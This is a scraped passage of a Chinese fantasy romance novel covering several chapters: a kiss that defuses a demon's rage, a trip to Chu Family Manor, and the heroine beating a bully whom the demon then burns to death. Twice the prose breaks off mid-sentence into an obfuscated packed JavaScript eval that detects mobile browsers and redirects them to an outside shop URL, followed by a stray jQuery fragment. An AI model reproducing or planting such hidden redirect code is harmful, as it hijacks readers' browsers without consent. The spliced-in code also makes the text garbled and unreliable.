她声情并茂地白话了半天,众人却不答话,反而都流露出惊恐的神情。一回头,原来钟离渊正眼神似刀地站在她身后,如同地狱里夺命的阎罗,杀气腾腾,哪个不要命的还敢多说一句。 显然,这位杀神没想象中那么好哄。 这时,水坑里还真爬起来个不要命的——江羡之很没有眼色地迎上去,伸手想要将辞盈拉到身边。 辞盈的余光瞥见钟离渊带血的手指轻微动了一下。 他动了杀心。 药丸,师兄危矣! 情急之下,她迅速回身,双手扳过钟离渊俊俏的脸,在他讶异的目光中踮起脚尖,对准那过分明艳的薄唇吻了上去。 触感冰冷,却比想象中柔软。 她甚至能感觉到,面前的人瞬间僵化成了一块有温度的木头,而他方才还怒发冲冠的杀意,也随着这个短暂的轻吻,烟消云散。 辞盈暗自谨慎地拿捏着分寸,慢慢分开,带着三分娇七分怯,柔声道:“钟离渊,谢谢你救了……” 腰上忽然一紧,“我”字还没说出口,就被他炙热的回吻堵住,含糊在了唇齿之间。 29. 简直下流 辞盈心头猛地一跳,想后撤时,后脑已被他掌心扣住,无处可逃。 “唔……” 滚烫的呼吸压下来的瞬间,她挣扎的双手被他反扣在身后,唇齿间尽是霸道的气息。可当她停止反抗微微发颤时,他的力道却忽然化作一片灼热而绵长的温柔,仿佛要将所有未说尽的话都碾碎在这个吻里。 “乖…闭眼。”他低哑的嗓音混着厮磨的温热,几乎让她融化在一池春水中。 好半响,她总算腾出空换了口气,红着脸嗫嚅:“后面……好多人看着呢……” 钟离渊眉梢微挑,抬眼扫过四周。 众人恨不得把脑袋埋进地里,齐声嚷嚷:“我们什么都没瞧见!” 辞盈脸上更烫了,一把推开他,故作轻松地问:“那什么,你不气了吧?” 钟离渊唇角扬起一抹浅笑,满意道:“以后都得这么哄我才管用,记住了?像刚开始那样敷衍可不成。” 辞盈望着他浅棕色瞳孔里狡黠的笑意,恍然大悟。 他压根也没想杀人,不过是在吓她罢了。 这狗东西披着一张白嫩的少年皮,装得单纯好骗,竟忘了他是个活了三百年的老东西!人得有多蠢才会在同一个坑里摔倒两次? 辞盈又气又恼,在他胸口狠捶了一拳:“钟离渊,你又耍我!” “这次不是你主动吗?”他挨了拳头却岿然不动,又无辜地眨眨眼,“怎么反过来怪我?” …… 辞盈本来气得牙痒痒,目光掠过他受伤的右手,心就软了下来,忍不住抓过他的手来仔细看。关节肿得厉害,那血肉翻张的伤处十分狰狞,仿佛能看到他一拳一拳砸下去的力度。 莫名的,喉间涌上一阵酸楚。 哪怕是在原来的世界,也没有人愿意为了她这样伤害自己的身体,不计代价,不顾一切,拼了命也要护她周全。 她低着头忍了会儿,压下了喉咙里的哽咽,故作平静道:“你不是天下第一么,不是神通广大么,不是活了三百年的人精么,怎么还逞这种匹夫之勇?真当自己的拳头不是肉做的么?” 钟离渊风轻云淡道:“法术太慢,我怕来不及。若非万分紧急,你也不会连喊我两次。” 的确,那时候她连灌了几口冷水,感觉呼吸都困难了,才挣扎着叫了他的名字。 “钟离渊,谢谢你。这次是诚心诚意向你道谢,没有别的目的。”辞盈说。 他却似毫不放在心上,神情无谓,轻挑地笑道:“我还是喜欢你有别的目的。” 辞盈瞬间清醒过来,忍不住在心里嘲讽自己一番。 有毛病吧,自作多情什么呢。 人家不过被相思咒牵着走而已,又没有心,犯不着当真。等咒术一解,自己当场就会被他这双血淋淋的手大卸八块。 那被砸出来的深坑仿佛一个深不见底的喷泉,众人被花洒浇成落汤鸡又不敢擅自离开,这会儿终于逮到一个空隙,派出一个胆子最大的试探着问:“这位……少侠……我们能走了吗?” 钟离渊眼皮也懒得抬:“滚。” 众人如蒙大赦,二话不说,连滚带爬地四散而去。 只剩下一个江羡之,浑身湿透,衣衫不整,站在那儿却丝毫不显狼狈,竟有一股临危不惧、处变不惊的风流气度。 他不仅没有逃走的意思,反而挺着胸脯一伸手:“小盈,跟我走。” 钟离渊终于抬起那尊贵的眼皮撩了他一眼,冷冷道:“活够了?” 白芷畏惧地扯了扯江羡之的袖子,示意他别再找死。他却在白芷手背安抚地拍了拍,将她挡在身后,正视着钟离渊又强调了一遍:“小盈是水云剑宗的人,我要带她回去。” 这位师兄法术不咋地,作死的胆子倒大得很。 不等钟离渊开口,辞盈抢先道:“师兄,你走吧!我暂时不回去。” “你说什么?” “事情闹这么大,白芷得罪了曹不义,九曜派是待不了了。你带白芷回去,就说她全力救了你,水云剑宗定会善待她。”辞盈道,“我还有事没做完,暂时不能跟你走。” 江羡之显然不信,追问:“何事?” 辞盈见他执拗,索性说:“我答应过老祖,要积满三千功德赎罪。这事一日不成,我就不回水云剑宗。” 当初江鹤川给辞盈分配的kpi是规劝钟离渊改邪归正。可是照眼下情况看,无论是武力还是心眼,辞盈都被吊打碾压,能守住本心不被钟离渊策反带坏就算不错了。 三千功德,简直是痴人说梦。 可江羡之不知抽了什么风,仿佛墨让尘附体似的,端着尊长的架子道:“别胡闹,先跟我回水云剑宗,一切都好商量。” 辞盈无奈一笑:“师兄,在水云剑宗‘一切都好商量’是你的待遇,我要是回去,指不定有多少酷刑等着伺候呢。” “你……”江羡之一时语塞。 “你快走吧,待我办完事自会回去看你们。”辞盈说着心里却想,等到积满三千功德,我便要回家了,也不知还有没有机会再回水云剑宗看一眼。 江羡之犹豫再三,终于道:“那你好好照顾自己,若有事,一定要传信给我。” 辞盈打趣道:“用那吓死人的雪鸮吗?你可饶了我吧。” 她目送江羡之转身离去的背影,不知日后还能否再见,内心五味陈杂。忽然又想起什么,急忙嘱咐道:“师兄,还有一件事!” 江羡之停下脚步:“何事?” “千万别告诉师尊你在这里见过我。关于我和钟离渊的事,一个字都不要提起。” 旁边一直沉默的钟离渊冷哼一声。 江羡之不解:“为什么?” 辞盈眯起眼睛,像看二傻子似地看着他。 “噢——你怕师尊抓你回去?” …… 辞盈同情地转向白芷:“我师兄脑子虽然傻,人还是不错的,请姑娘不要嫌弃,忍忍吧。” 白芷点点头:“嗯。” 回逍遥山庄的路上,辞盈才想起问:“我们弄出这么大动静,地牢都给砸成喷泉了,曹不义居然没察觉?” 钟离渊冷笑:“除非他又聋又瞎。” “那他便是不敢出来见你了。”辞盈笑道,“避而不见固然是十分丢脸,可出来看热闹或许连小命都一并丢了,两下权衡,他这个开赌坊的早就算得明明白白了。” “江湖上鼎鼎大名的九曜派现任掌门老巢被人砸得稀烂,自己却连面儿也不敢露,啧啧,足见钟离少侠的威名远播,震慑天下。” 钟离渊似笑非笑地斜了她一眼:“又有事求我?” “我的天呐,少侠不仅武力超群,还机智过人,一眼就看穿了我的小心机。”辞盈惊讶地捂着嘴。 “说来听听。” 辞盈道:“方才地牢里的人说,褚家庄近日闹鬼,专把人吸成干尸。听着跟之前谢家堡的情况有点像,我想去趟褚家庄,说不定能打探到错金博山炉的消息。” “你找错金博山炉干嘛,也想用它修炼?”钟离渊不以为然,“没必要,你只要在我身边,就没人能伤得了你。” 辞盈一脸乖巧:“我当然不需要修炼啦。可水云剑宗诬陷咱们私藏错金博山炉,我不想莫名其妙背锅,也不想你背。” “我不在乎。” “可我在乎。”辞盈扯了扯他的衣角,语气软得像水,“我讨厌被人冤枉,就当是出门散心,陪我去一趟嘛。” 钟离渊不屑地笑:“这简单。把冤枉你的人都杀了,心里就舒服了。” …… 说话间到了逍遥山庄门口,远远就见管家满脸堆笑跟招财猫似的迎上来,躬身道:“郎君主子您回来了!饭菜早备好了,热水也烧好了,您看是先用饭还是先沐浴更衣?” 钟离渊没说话,只征询地看向辞盈。 管家得了眼色,立刻转过来笑容更加谄媚了几分:“快来人给少奶奶找一身换洗的衣裳!少奶奶亲自走路实在辛苦,不如我让人将饭菜送到您的卧房,您有什么吩咐随时让丫鬟传我就行。” “亲自走路”的“少奶奶”从头到脚都犯了尴尬症,挤出一个假模假式的微笑:“不必麻烦,你把东西预备好就让人都撤下去吧,千万别在我窗跟底下守着。” “是。”管家心领神会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101559|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讳莫如深地对身后众人吩咐道:“任何人都不许接近少奶奶的房间,别打扰了主子和少奶奶休息。” 辞盈觉得自己可能表达有误会,又没法解释,不由得瞄了一眼钟离渊。 谁料他又泰然自若地补充:“离远些,声音也不许听。” 管家诚惶诚恐,当即下令:“一会儿把耳朵都堵上!” …… 辞盈顶着红成番茄的脸,一声不吭地径直回了卧房。 锁好门,宽衣解带,泡进飘着玫瑰花瓣的大木桶里,水温恰到好处的舒服,紧绷的肌肉和精神都逐渐松弛下来。辞盈舒服地长出一口气,将脊背靠在桶壁上,闭着眼思考去哪儿能凑出三千功德。 “嘎吱”一声,虚掩的槛窗被撬开一条细缝,溜进来一缕鬼鬼祟祟的凉风。 所有下人都被要求不许接近她的卧房,这个撬窗户的偷窥贼还能是谁? 辞盈条件反射脱口而出:“钟离渊!你怎么这么猥琐!偷看别人洗澡,简直下流!” 槛窗越开越大,挤进来一个圆咕隆咚的绿脑袋,嘶嘶地吐着细长血红的信子。 …… 不是,我那么大一条能骑会飞的鸣蛇呢?怎么还带缩水的啊? 绿脑袋妖异地扭了两下,光滑的身子贴着墙滑到桶边,瞪着一双和主人同款的无辜眼,仿佛自己不是闯进来的入侵者,反倒像误入盘丝洞的受害者。 辞盈有些抱歉地摸摸它圆润的头:“之前是我不对,不该骗你喝酒把你灌醉。但你也不能溜进来偷看女生洗澡呀,这行为可不好,知道吗?” “嘶嘶……”绿脑袋转向饭桌,眼珠在白玉酒壶上骨碌碌打转。 “不是吧大哥,你还喝上瘾了?”辞盈乐了,指了指酒壶,“去喝吧,送你了,反正我也不喝酒。” 这鸣蛇上辈子怕是个酒蒙子,见了酒比见亲爹还亲,得到批准就立刻游到桌边,蛇信灵活地缠上酒壶,仰着绿脑袋咕咚咕咚喝了个痛快。 辞盈又懒洋洋地闭上眼,继续做着积满功德、穿越回家的美梦。突然,一个有磁性却毫无温度的声音从身后传来: “你光着身子把我叫来,还说我下流?” 辞盈哆嗦了一下,颤颤巍巍地回头,见钟离渊正潇洒惬意地侧身卧在她的床榻上,一只手支着脑袋,另一只手无规律地在腿上轻轻敲点,饶有兴趣地望着她。 “我没……喊你吧……”后半句话像她的胆子一样越缩越小,湮没在氤氲的水汽里。 刚才一惊之下确实叫了他的名字。 钟离渊翻身坐起,迤迤然走到她面前,朝醉醺醺的鸣蛇命令:“出去,不准再进来。” 鸣蛇喝得浑身软绵绵,面条似的,九曲十八弯地从窗缝溜了出去。 辞盈坐在桶里低头瞅瞅,发现从他的角度能将自己看得一清二楚,赶紧双手抱胸大声道:“你也出去!” 钟离渊眉梢一挑。 辞盈秒怂,赶紧补了句:“好不好?” 钟离渊嘴角隐约露出笑意,指尖轻柔旖旎如蛇行一般在她裸露的肩头游走,引得她浑身一阵酥麻,忍不住倒吸一口凉气。 他的手指逗留在她凹陷的锁骨上,嗓音极尽诱惑:“不要我留下陪你用饭吗?” 辞盈猛摇头:“你个三百多岁的老神仙又用不着吃饭。”见他似乎没有善罢甘休的意思,又补充道,“我要穿衣服了,你回避一下。” 钟离渊笑了笑,退后几步,转身送她一个挺拔的背影,悠然道:“你换吧,我不看就是。” 从后面看,他就像从漫画里走出来的人物,红衣比枫叶还艳,皮肤比雪还白,手腕上戴着银镯,银发垂到劲瘦的腰间。 大概是长身体时没好好吃饭,这些年又一直关在塔底,他的身板不像寻常修仙习武之人那样宽厚,还保留着少年的清瘦单薄,再加上个子特别高,往那儿一杵,活像竹子成了精。 竹子精站在窗边望着外头,双手插兜,忽然开口:“你想去褚家庄,其实是为了躲你师尊吧。” 辞盈正拿着一条款式复杂的裙子比划着往脖子上套,心里一哆嗦,手上没绷住劲儿,差点把裙子撕成旗袍。 30. love and peace 她的确是这么想的。 虽然她嘱咐过江羡之不要透露她的行踪,但这叮嘱也就是聊胜于无罢了。指望以江羡之的智商骗过墨让尘,等于指望她一觉睡醒忽然神力附体能追着钟离渊打。 何况人人皆知钟离渊杀了逍遥山庄的主人李贽,墨让尘就算是不问江羡之,头一个也得摸到这儿来。 一旦碰见,天雷撞地火,后果不堪设想。 辞盈可不想站在一片暴土扬尘的废墟之中像个二百五似的大喊你们不要打了啦。 阳光穿过琉璃窗洒在他身上,却驱不散他周身沉甸甸的寒意。 “你就这么笃定他会来找你?” 辞盈总算把自己塞进那里三层外三层的套裙里,长出一口气道:“我只是想去寻错金博山炉……” “不许骗我。”钟离渊打断道,“否则我就不陪你去。” 辞盈叹了口气:“是,我确定,他会来。” 钟离渊望着槛窗上的花纹,不知为什么,心里陡然升起一股烦躁,只想一拳将那槛窗打个稀烂。 他冷笑一声:“很好,我便在这里等他。” “我确定他会来,因为他是我的师尊。正如我在水云剑宗的刑台上,在曹不义的地牢里,也确定你会来救我。” 辞盈走到钟离渊身边,笑盈盈地望着他:“现在,我也确定你一定会陪我去褚家庄,因为——你怎么会舍得让我一个人去涉险呢?” 她换下了水云剑宗的道袍,穿上一袭胭脂色的流云罗裙,裙摆层层叠叠,如流云般轻盈灵动,更衬得她艳若桃李。 裙子是方才由管家献宝似地巴巴送来了十几件,钟离渊就随便指了一条看着比较顺眼的,竟被她穿得这样风姿动人。 美人言笑晏晏,他一时竟看得痴了,被一通甜言蜜语哄得脑子发锈,等回过神来,已经糊里糊涂地答应了她。 褚家庄地处常山,不似淮阴广陵地界风景秀丽气候宜人,看着天上艳阳高照,秋风却阴冷萧瑟得很。 辞盈从鸣蛇背上跳下来,连打了两个喷嚏,这罗裙中看不中用,花枝招展,四处漏风。 鸣蛇晃晃脑袋,缩小身形,滋溜一下钻进路旁的草丛,眨眼遁形无踪。 钟离渊伸手将她揽进怀里,语气颇为嫌弃:“连这点寒气都抵御不了,水云剑宗果然半点用处也没有。” 辞盈贴着他火炉似的胸膛,像入冬的苍蝇似地搓手:“我在水云剑宗才学了三年,不足以代表母校的实力,其实师兄师弟们都还挺厉害的。” 钟离渊笑道:“就你那师兄?你确定?我看他除了作死厉害,简直一无是处。” “呃,我还有许多师兄啊,以及各位师叔长老……”辞盈说着,忽然想起执法长老血淋淋的心脏,还有他惊惧的眼神,忍不住激灵一下。 “还冷?”钟离渊皱眉,抬手一召,不远处直愣愣飞过来一条枯树枝,比筷子粗不了多少,泛着红光,低低悬在空中。 钟离渊:“站上去。” 辞盈瞪大眼:“站上去???” 他一把捞过她的腰轻轻一带,两人一前一后踩上了那根可怜的枯树枝。 “这不会断么……哎我去!” 树枝像箭一样射了出去。要不是身后靠着的人稳如磐石,她怕是早被惯性掀飞了。 连预热都没有,起步就上高速嘛! 耳畔风声呼啸,两旁山坡树木飞速向后掠去,辞盈新奇道:“我只见过人御剑,还从没见过御树枝的,这玩意儿也没灵性啊。” 身后的钟离渊似不经意地贴着她的耳朵:“喜欢吗?我教你。” 辞盈脖子僵得像僵尸,一动不敢动:“我太笨了,学不会的。” 耳后咬牙哼道:“墨让尘能教会,我为何不能?” …… 不是,哥,连这也要比么。 转眼前方就是商铺林立的街道,刹车来得同样猝不及防。钟离渊充当安全带的手臂硬得像铁,差点把她十二指肠勒出来。 …… 其实,骑蛇挺好的。 不知赶上了什么节日,市集里熙熙攘攘,人潮涌动。唱曲声、叫卖声、铁器敲击声、胡饼店拍打面团声,嘈嘈杂杂,没完没了。 钟离渊在人群里鹤立鸡群,比旁人高出半头,想不引人注意都难,一路招来无数羡艳目光。大姑娘小媳妇忍不住多看几眼,有的撞上他的眼神,当场羞红了脸。岁数大些的妇人就放得开,嘻嘻哈哈议论着。 “好俊的小郎君!” “不知是哪家的公子,咱们褚家庄可没听过有这么俊的少爷,看着就有家教。” 这位“有家教”的小少爷对众人围观泰然处之,牵着辞盈径直走进一家成衣铺,扫了一圈,毫不客气地拿起一件银灰色狐皮大氅,将她裹了个严实,问道:“现在还冷吗?” 掌柜的笑容可掬地迎上来:“小公子眼光不俗,这件狐皮大氅可是小店的镇店之宝,用的是一整张极北雪狐皮,又尊贵又保暖。莫说是褚家庄,整个常山您再也找不出第二件了。” 辞盈心中惴惴不安,生怕这位喜怒无常的主儿为了一件衣服当街杀人,忙推拒道:“用不着这个,太厚了,我待会儿跑两步就暖和了。” 钟离渊却从容的摸出一块金锭,在掌柜眼前晃了晃:“够吗?” 掌柜的也见过些挥金如土的公子哥,知道一掷千金为的都是博红颜一笑,便点头哈腰:“够了够了,公子对这位姑娘当真宠爱至极,二位郎才女貌,真是羡煞旁人啊。” 钟离渊懒得听他啰嗦,不屑地将金锭随手一扔,霸总范儿十足地拥着辞盈出了门。 “你居然带了钱?”辞盈满眼不可思议。依他的脾气难道不应该直接硬抢,谁敢废话便血洗整条街? “怎么,你不高兴?还是想看我杀人?”钟离渊嘴角微扬,透着几分得意。 “怎么会呢。”辞盈将狐皮大氅又系紧了些,开心地说,“钟离渊,我现在特别高兴。你能不能答应我,在褚家庄的这几天都不杀人?” 钟离渊眉毛拧成一团,显然对这个得寸进尺的提议不甚满意。 辞盈察言观色,果断调整方案:“我是说尽量,尽量,不杀人?” 钟离渊的眉间舒展了些许,手指缓缓缠绕她一绺发丝,细细把玩,语气暧昧地反问道:“那我能得到什么?” 辞盈:“得到和平,loveandpeace。” 钟离渊:“……听不懂,我要去杀人了。” 人潮拥挤,一个挑着担子的糙汉子路过,木担撞到辞盈肩膀,差点把她撞趴下。钟离渊眼疾手快扶住她,脸上掠过怒意,正要发作,被辞盈急忙按住胳膊:“像这种情况其实不用杀人,骂他一顿就行。” 她猛地揪住汉子的后衣襟,摆出流氓地头蛇鼻孔朝天的架势,恶狠狠道:“喂,你撞到我了!” 汉子回头见是一对衣着华丽、仪表不凡的男女,气势汹汹的样子,便知不好惹,说不定是哪个大户人家的公子小姐,或是哪个门派的狠角色。 他自知理亏,又是作揖又是鞠躬,嘴里连声认错求饶。五大三粗的汉子卑微得像只蝼蚁,倒让辞盈有些过意不去,拉着钟离渊挤进人群,落荒而逃。 “你看,这样不是挺好吗?君子动口不动手。”她随手买了一串撒着芝麻的冰糖葫芦,边啃边说。 钟离渊环着手臂隔开人群,将她护在身侧,不以为然道:“这是恰巧碰到个胆小怕事的,倘若他比你还横呢?” “怂有怂的态度,横有横的办法。”辞盈自然地将糖葫芦递到他嘴边,“咬一口,好吃,不骗你的。” “看起来脏兮兮的,不吃。” 辞盈无所谓地耸耸肩,继续道:“若他蛮横我就装可怜,坐在地上耍赖大哭。街上这么多人自然会替我做主,站在道德制高点上谴责他,他就算不要脸,也会害怕悠悠众口。” 说完,她还顺便脑补了钟离渊坐在地上,蹬着两条无处安放的大长腿撒泼打滚、嚎啕大哭的样子,忍不住笑出了声。 钟离渊纳闷:“笑什么?” 辞盈笑得上气不接下气:“我在想,你生得白嫩又好看,比女子还惹人怜惜,就凭这张脸定会有无数路人主动为你撑腰。” 钟离渊闻言,脸色却瞬间阴沉,像暴雨将至,压得人喘不过气,仿佛下一秒就会炸响一声惊雷,把身边人劈个粉碎。 正咧着嘴哈哈大笑的辞盈立马闭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101560|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴,飘在空气中的笑声戛然而止,只留下一个尴尬的抽气尾音,像只被猫扼住喉咙、快要断气的耗子。 夸他好看嘛,不晓得又踩到他哪根神经了。伴君如伴虎,她这觉悟,倒有点当太监的潜质了。 她埋头往前走,小心翼翼地啃着糖葫芦。突然一只瓷碗横空飞来,正好砸在前面一个瘦高个的脑袋上。那人“哎呦”一声,捂着哗哗流血的额头怒吼:“谁?是谁砸的我?” 一个更响亮的声音蛮横道:“老子砸的!怎么了?不想死就赶紧滚!” 人群怕沾晦气,纷纷后退,让出一条道,把挨砸的人暴露在肇事者面前。 瘦高个倒也机灵,没敢多嘴,掉头从辞盈身边挤进人群没了影,刚好给她腾出个VIP看台头排。 茶摊上嚷嚷的是个年轻的胖子,因为屁股过于肥硕,只有将两个凳子并在一起才能坐得四平八稳。身后站着个卑躬屈膝的狗腿子,正在假模假式地劝主子:“少主消消气,穷家小户的不懂规矩。” 小胖子一只手按着桌上的佩刀,半个身子倚在可怜的木桌上,把桌子压得摇摇欲坠,另一只手不耐烦地敲着桌面:“你这茶淡得像水,鸟味儿都没有,点心也不如别家铺子的好吃,还有脸收钱?” 开茶摊的是个干瘪老头儿,有点驼背,不住地赔礼道歉。他身后站着个姑娘,大概是他女儿,怯生生离得老远,低着头,声音细若蚊蚋:“公子若不满意,就不必给钱了……” 小胖子抖着腿,像半身不遂似的,脸上更不耐烦了:“你说什么?我听不清,过来重说!” 茶摊姑娘犹犹豫豫地往前挪了半步,还没开口,那狗腿子大步上前,扯住她的手腕就往主子面前拉,喝道:“让你过来回话,磨蹭什么!”说完还把老头儿拦到一边。 小胖子用刀柄抬起姑娘的下巴,哼了一声:“长得还算凑合,跟我走吧,保你比开这破茶摊赚得多。” 老头儿自然不依,挣扎着要去抢人,被狗腿子一脚踹在胸口,倒在地上,差点背过气去。姑娘急得哭喊救命,想爬回去看爹爹,却被死死拽住,动弹不得。 周围挤满了人,男男女女、高高低低、胖胖瘦瘦,全都鸦雀无声。 光天化日就碰见强抢民女的戏码,辞盈拳头当即硬了。身后却传来一声冷笑,她回头,见钟离渊抱着胳膊,一脸嘲讽地看着热闹,那眼神仿佛在说“这回我看你怎么loveandpeace”。 姑娘凄惨的哭喊在众人耳边立体环绕。 辞盈心里陡然蹿起一股火。 或许钟离渊是对的,有些狗东西就该一刀砍了才能积功德。 她左手捏着剩下半截糖葫芦,从人群中挤出来,剑也没拔,直奔茶摊姑娘。 小胖子眯缝的眼睛登时亮了:“哪儿来这么个漂亮的小娘子……”话说一半,便被一个剑鞘塞进嘴里,剑鞘带着力贯千钧的势头,钉楔子似的将他砸倒在地。 辞盈突然有些后悔,这脏东西的口水都沾到剑鞘上了!于是更加恼怒,一脚踩在他圆鼓鼓的肚皮上,将剑鞘抽了出来,嫌弃地在他衣服上来回蹭了几下,然后顺手向后一扫,用它拍晕了从后头扑上来的狗腿子。 小胖子像只四脚朝天的王八,蹬腿划手就是爬不起来,气得破口大骂:“混账!敢管老子的闲事,不要命了,你可知道我是谁!” 辞盈还残余几分耐心,低头问他:“你是谁?” 小胖子嚣张跋扈地嚷道:“我爹是飞鹰堂堂主!你个贱人得罪了我,就等死吧!整个常山地界,我飞鹰堂说一就没人敢说二!就算是出了常山,那九曜派和水云剑……哎呦!踩死我了!你干什么?!” 辞盈脚上施力,面色不变:“我不想听到你那肮脏的嘴里说出水云剑宗四个字,你不配。” 小胖子脸上终于露出些惧色:“你……你是水云剑宗的人?那你为什么要与我作对?我爹是……” 辞盈抬起足尖,只留足跟一小块在他软绵绵的肚子上,用力一碾,脚下立刻传出杀猪般的鬼哭狼嚎。 小胖子吐了一口血,终于学乖,鼻涕眼泪一起淌:“姑奶奶饶了我吧,我再也不敢了!看在贵派墨宗主的面子上……你再踩,我真的会死啊啊!” 31. 洞房活死人 辞盈眉头猛地一蹙,那股恶心劲儿,就像好好走着路,冷不丁打个哈欠竟吞进只苍蝇,恨不得一脚把这混账碾进地里:“你是什么东西,也配拿我师尊当挡箭牌,他与你这龌龊货哪有半分干系!” 小胖子疼得满头冷汗,龇牙咧嘴还不忘攀关系:“哎呦道友,咱们可是自家人啊……那墨宗主的首徒游少侠,跟咱们飞鹰堂往来密切,我跟他熟络得很,称兄道弟都不在话下!” 水云剑宗远在千里之外,跟飞鹰堂简直是八竿子打不着。更何况飞鹰堂名声狼藉,盗窃打劫、绑架暗杀、挖人隐私再行恐吓勒索,桩桩件件没落下,行径之恶劣,堪比九曜派的常山分舵。 游乘风会吃饱了撑的,千里迢迢跑来跟这群土匪流氓称兄道弟? 辞盈暗自腹诽,这混蛋定是在哪听了游乘风的名号,如今信口雌黄污蔑师门。正想再补两拳,心头忽窜起一阵莫名寒意——那是直觉预警的杀气! 说时迟那时快,两枚暗器从不同方向直射而来! 电光火石间,钟离渊骤然闪现,一把将她拉到一旁,同时撒手掷出两枚绿影。辞盈定睛一看,竟是两片薄薄的树叶。 人群中,两个身影应声倒地,喉间豁开一道整齐锋利的伤口,深可见骨,鲜血汩汩涌出——显然是飞鹰堂安排在这废物少主身边的暗卫。 这就是传说中的飞花摘叶啊。辞盈摸了摸险些被穿成窟窿的脑门,后知后觉吓出一身冷汗。 钟离渊厌恶地瞥了眼旁边像翻壳乌龟般的肥硕身影,手指微微蜷缩,指尖聚起一抹红光,随即像洗手后甩水珠似的,优雅地轻轻一弹。那点红光落在飞鹰堂少主油腻的脸上,瞬间炸成一团暴烈火光。 空气中弥漫开烧焦的肉味,围观看热闹的人群这才从震惊中回神,生怕惹上飞鹰堂的麻烦,尖叫着一哄而散。空荡荡的街道上,除了茶摊父女,连条狗都没留下。 伴随着毛骨悚然的惨叫,少主在地上扭曲翻滚片刻,最终化为一堆焦黑可怖的残骸。 辞盈望着满地狼藉,自我安慰:“这胖子,也确实该死。” 钟离渊却像个打赢泥巴仗的三岁孩童,背着手在她面前踱来踱去,晃得她眼晕,随即歪着脑袋,用那幸灾乐祸的眼神瞅着她:“为你作主的‘悠悠众口’在哪儿呢?” 街道空旷冷清,仿佛刚才的人声鼎沸只是一场幻觉,只有油锅里炸糊了的面团孤独地转圈,滋滋作响。头顶上压抑的阴云好像永远散不开,阴霾又浪荡地飘向天际。 辞盈低着头踢了一脚地上的石子:“都是小老百姓,谁能不怕死呢。” 钟离渊嗤笑道:“所以这世上根本没有是非,只有强弱而已。” “有是非的。”辞盈抬起头道,“公道自在人心。” 她的声音不大,神情却很认真,澄澈的眼睛直视着他,像一汪能流进人心底的清泉。 “虽然他们害怕恶人,不敢站出来,但心里都有一杆秤,知道哪个是杀千刀的狗贼,哪个是受苦的可怜人。在没有能力伸张正义的时候,他们选择独善其身,我能理解。” “在能力者眼里他们形同蝼蚁,而蝼蚁们唯一的指望,便是能有一个强者还愿意把他们当人看,为他们主持公道。”她又咬下颗山楂,舔舔嘴唇上的糖浆,咧嘴一笑,露出一口不算太整齐的小白牙,“在我老家那儿,这个叫不忘初心。” 为了给这位魔头净化心灵,后半句心里话她选择咽下不说。 事实上,多少庸碌之辈,穷则独善其身。一朝发达,别说兼济天下,不缺德冒烟的祸害天下已经不错了。好好的一个老实人,一旦手握毁天灭地之能,便不太会在乎其他人的死活。 不忘初心,说得容易,又有几人能做到。 长篇大论地叭叭了一通,她正琢磨着自己是不是废话有点儿多,立刻就遭了报应——龋齿疼得直叫唤。 她从小牙就不好,才上小学亲妈就跟别人跑了,剩下个只会酗酒打人的爸,没人关心她刷不刷牙。糖葫芦太甜,把牙疼的老毛病给勾了出来。 她眯着一只眼嘶嘶吸气,捂着腮帮转过去问茶摊老头:“大爷,您知道哪儿能看牙吗?” 窝在角落里瑟瑟发抖的老头儿这才精神点儿,一指前头:“那个就是医馆。任平生大夫医术高明,价格也公道,就是不知道今日在不在家。” 拐角不远处果然有间小屋,门口用麻绳吊块旧木板,既不体面也不结实,歪歪扭扭写着个“医”字,漆都掉了大半,看不出半点“医术高明”的迹象。 辞盈苦着脸犹豫片刻,转头看向钟离渊,眼神里带着征询。 他摸着光洁的下巴想了想,眼睛一亮:“我去寻个牙口好的,把他的牙全掰下来给你换上?” “……” 辞盈干笑两声:“那医馆其实也还行。虽然远处瞅着是有点儿破,但是你走近了再看呢……是吧,它就……有点儿破。” 门口还悬着两个摇摇欲坠的破木篮,里头不知道晾的是什么草药,被风吹得东摇西晃。一个瘦削的年轻男子正伏在案上呼呼大睡,口水在桌面流成一片汪洋。 辞盈已经进了屋,象征性在门上敲了两下,对方睡得像死了一样。她又敲了敲:“请问是任大夫吗?” 依然鼾声如雷。 钟离渊一掌拍在桌上,任大夫像只受惊的窜天猴,“嗷”一声跳起来,差点直接上树,面色惊恐,结结巴巴道:“你们……你们要干什么?打、打劫吗?” 那张桌子,瞧着就像从垃圾堆里捡来的歪瓜裂枣,本就破破烂烂,挨了这没轻没重的一巴掌,“嘎嘣”一声裂成两半,彻底寿终正寝。 任大夫哀嚎:“我的桌子!你们得赔!这可是我昨天新买的!” 辞盈扶额:“任大夫,你这样搞我可很难相信你的医品啊。” 任大夫穿件青衫,没破洞却透着股穷酸气,人比筷子还瘦,仿佛打个喷嚏就能从庄南被吹到庄北,还大惊小怪地嚷嚷:“怎么了?就是我昨天新买的,从收破烂的老张那儿淘来的!你们必须赔我!” 钟离渊从怀里摸出个银锭子,往任大夫身上一扔:“先看病。” 辞盈来不及阻拦,心疼地看了一眼白花花的银子,感觉牙更疼了。 任大夫揣起银锭瞥了辞盈一眼:“看牙诊费最贵,这银锭我就不找零了。” …… 她开始怀疑,这位传说中“医术高明价格公道”的任大夫,怕不是被什么东西夺舍了。 